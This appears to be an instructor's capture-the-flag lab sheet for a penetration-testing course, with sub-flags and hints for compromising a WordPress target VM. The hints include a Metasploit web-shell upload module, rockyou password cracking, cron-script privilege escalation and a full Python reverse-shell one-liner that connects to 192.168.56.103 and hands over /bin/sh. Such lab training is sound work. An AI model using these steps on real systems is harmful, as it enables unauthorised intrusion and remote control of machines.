LNET CEHWPT CTF

Your task is to find the falg.txt in root directory in the target VM

The rule is following

1. Don’t using internet in the challenges
2. If you need any help ask the instructor
3. Using host only adapter when configuring network setting

Sub flags are the following

1. The target VM is use free and open-source content management system find it and which version
2. What is the right username and password that you needed to access the target
3. Dose this access needs privilege escalation Yes or No.
4. What the privilege of others for file cleanup
5. The final task is to capture the main flag flag.txt

Some hints

It might be useful to use world list called rockyou.txt

You can find it in path /usr/share/worldlist

You need to extract the file

In this challenge you might be use metasploit for upload

Webshell

It might be useful to use

use exploit/unix/webapp/wp\_admin\_shell\_upload

You will need python -c 'import pty; pty.spawn("/bin/sh")'

To spawning TTY

Some command will help you in privilege escalation

cat /etc/crontab

You need to play with this file cleanup

ls -l /usr/local/bin/cleanup to display the file details

In the meterpreter session you can download file from target to kali

using command download the source file destination file

you can use upload to upload file from kali to target

nc -lvp port "this command using for listening in kail"

The following code you needed definitely

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(("192.168.56.103",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Good luck